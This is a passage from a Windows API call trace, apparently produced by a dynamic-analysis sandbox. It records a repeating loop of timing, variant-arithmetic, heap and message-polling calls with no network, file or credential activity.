lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.395] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.395] GetTickCount () returned 0x115fa85 [0190.396] IsWindowVisible (hWnd=0x30268) returned 0 [0190.396] IsWindowVisible (hWnd=0x40298) returned 0 [0190.396] IsWindowVisible (hWnd=0x60106) returned 0 [0190.396] Sleep (dwMilliseconds=0x0) [0190.400] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x12)) [0190.400] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.400] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.400] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.400] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.401] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.401] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.401] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.401] GetTickCount () returned 0x115fa85 [0190.401] GetTickCount () returned 0x115fa85 [0190.402] CoFreeUnusedLibraries () [0190.402] DllCanUnloadNow () returned 0x1 [0190.402] GetTickCount () returned 0x115fa85 [0190.402] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.402] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.402] GetTickCount () returned 0x115fa85 [0190.402] IsWindowVisible (hWnd=0x30268) returned 0 [0190.402] IsWindowVisible (hWnd=0x40298) returned 0 [0190.402] IsWindowVisible (hWnd=0x60106) returned 0 [0190.402] Sleep (dwMilliseconds=0x0) [0190.403] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x12)) [0190.404] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.404] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.404] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.404] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.404] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.404] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.404] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.404] GetTickCount () returned 0x115fa85 [0190.405] GetTickCount () returned 0x115fa85 [0190.405] CoFreeUnusedLibraries () [0190.405] DllCanUnloadNow () returned 0x1 [0190.405] GetTickCount () returned 0x115fa85 [0190.405] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.405] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.405] GetTickCount () returned 0x115fa85 [0190.405] IsWindowVisible (hWnd=0x30268) returned 0 [0190.405] IsWindowVisible (hWnd=0x40298) returned 0 [0190.405] IsWindowVisible (hWnd=0x60106) returned 0 [0190.405] Sleep (dwMilliseconds=0x0) [0190.407] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x21)) [0190.407] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.407] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.407] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.407] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.407] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.407] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.407] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.408] GetTickCount () returned 0x115fa95 [0190.408] GetTickCount () returned 0x115fa95 [0190.408] CoFreeUnusedLibraries () [0190.408] DllCanUnloadNow () returned 0x1 [0190.408] GetTickCount () returned 0x115fa95 [0190.408] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.408] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.408] GetTickCount () returned 0x115fa95 [0190.409] IsWindowVisible (hWnd=0x30268) returned 0 [0190.409] IsWindowVisible (hWnd=0x40298) returned 0 [0190.409] IsWindowVisible (hWnd=0x60106) returned 0 [0190.409] Sleep (dwMilliseconds=0x0) [0190.412] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x21)) [0190.412] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.412] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.412] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.412] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.413] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.413] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.413] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.413] GetTickCount () returned 0x115fa95 [0190.413] GetTickCount () returned 0x115fa95 [0190.414] CoFreeUnusedLibraries () [0190.414] DllCanUnloadNow () returned 0x1 [0190.414] GetTickCount () returned 0x115fa95 [0190.414] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.414] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.414] GetTickCount () returned 0x115fa95 [0190.414] IsWindowVisible (hWnd=0x30268) returned 0 [0190.414] IsWindowVisible (hWnd=0x40298) returned 0 [0190.414] IsWindowVisible (hWnd=0x60106) returned 0 [0190.414] Sleep (dwMilliseconds=0x0) [0190.415] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x21)) [0190.415] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.415] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.416] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.416] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.416] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.416] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.416] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.416] GetTickCount () returned 0x115fa95 [0190.416] GetTickCount () returned 0x115fa95 [0190.417] CoFreeUnusedLibraries () [0190.417] DllCanUnloadNow () returned 0x1 [0190.417] GetTickCount () returned 0x115fa95 [0190.417] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.417] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.417] GetTickCount () returned 0x115fa95 [0190.417] IsWindowVisible (hWnd=0x30268) returned 0 [0190.417] IsWindowVisible (hWnd=0x40298) returned 0 [0190.417] IsWindowVisible (hWnd=0x60106) returned 0 [0190.417] Sleep (dwMilliseconds=0x0) [0190.419] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x21)) [0190.419] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.419] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.420] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.420] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.420] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.420] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.420] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.420] GetTickCount () returned 0x115fa95 [0190.420] GetTickCount () returned 0x115fa95 [0190.421] CoFreeUnusedLibraries () [0190.421] DllCanUnloadNow () returned 0x1 [0190.421] GetTickCount () returned 0x115fa95 [0190.421] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.421] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.421] GetTickCount () returned 0x115fa95 [0190.423] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x31)) [0190.424] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.424] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.424] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.424] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.424] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.424] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.424] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.424] GetTickCount () returned 0x115faa4 [0190.424] GetTickCount () returned 0x115faa4 [0190.424] CoFreeUnusedLibraries () [0190.424] DllCanUnloadNow () returned 0x1 [0190.424] GetTickCount () returned 0x115faa4 [0190.424] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.424] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.425] GetTickCount () returned 0x115faa4 [0190.426] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x31)) [0190.427] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.427] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.427] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.427] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.427] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.427] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.427] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.427] GetTickCount () returned 0x115faa4 [0190.427] GetTickCount () returned 0x115faa4 [0190.428] CoFreeUnusedLibraries () [0190.428] DllCanUnloadNow () returned 0x1 [0190.428] GetTickCount () returned 0x115faa4 [0190.428] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.428] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.428] GetTickCount () returned 0x115faa4 [0190.429] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x31)) [0190.429] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.429] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.430] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.430] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.430] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.430] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.430] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.430] GetTickCount () returned 0x115faa4 [0190.430] GetTickCount () returned 0x115faa4 [0190.430] CoFreeUnusedLibraries () [0190.430] DllCanUnloadNow () returned 0x1 [0190.430] GetTickCount () returned 0x115faa4 [0190.430] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.430] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.430] GetTickCount () returned 0x115faa4 [0190.433] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x31)) [0190.434] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.434] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.434] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.434] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.434] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.434] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.434] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.434] GetTickCount () returned 0x115faa4 [0190.434] GetTickCount () returned 0x115faa4 [0190.434] CoFreeUnusedLibraries () [0190.435] DllCanUnloadNow () returned 0x1 [0190.435] GetTickCount () returned 0x115faa4 [0190.435] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.435] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.435] GetTickCount () returned 0x115faa4 [0190.436] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x31)) [0190.436] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.437] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.437] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.437] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.437] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.437] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.437] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.437] GetTickCount () returned 0x115faa4 [0190.437] GetTickCount () returned 0x115faa4 [0190.438] CoFreeUnusedLibraries () [0190.438] DllCanUnloadNow () returned 0x1 [0190.438] GetTickCount () returned 0x115fab4 [0190.438] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.438] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.438] GetTickCount () returned 0x115fab4 [0190.440] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x41)) [0190.440] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.440] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.440] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.440] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.441] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.441] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.441] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.441] GetTickCount () returned 0x115fab4 [0190.441] GetTickCount () returned 0x115fab4 [0190.441] CoFreeUnusedLibraries () [0190.441] DllCanUnloadNow () returned 0x1 [0190.441] GetTickCount () returned 0x115fab4 [0190.441] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.441] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.441] GetTickCount () returned 0x115fab4 [0190.443] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x41)) [0190.443] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.443] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.443] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.443] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.444] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.444] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.444] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.444] GetTickCount () returned 0x115fab4 [0190.444] GetTickCount () returned 0x115fab4 [0190.444] CoFreeUnusedLibraries () [0190.444] DllCanUnloadNow () returned 0x1 [0190.444] GetTickCount () returned 0x115fab4 [0190.444] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.444] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.444] GetTickCount () returned 0x115fab4 [0190.445] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x41)) [0190.446] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.446] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.446] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.446] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.446] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.446] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.446] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.447] GetTickCount () returned 0x115fab4 [0190.447] GetTickCount () returned 0x115fab4 [0190.447] CoFreeUnusedLibraries () [0190.447] DllCanUnloadNow () returned 0x1 [0190.447] GetTickCount () returned 0x115fab4 [0190.447] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.447] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.447] GetTickCount () returned 0x115fab4 [0190.448] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x41)) [0190.448] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.448] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.448] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.449] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.449] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.449] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.449] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.449] GetTickCount () returned 0x115fab4 [0190.449] GetTickCount () returned 0x115fab4 [0190.449] CoFreeUnusedLibraries () [0190.450] DllCanUnloadNow () returned 0x1 [0190.450] GetTickCount () returned 0x115fab4 [0190.450] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.450] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | 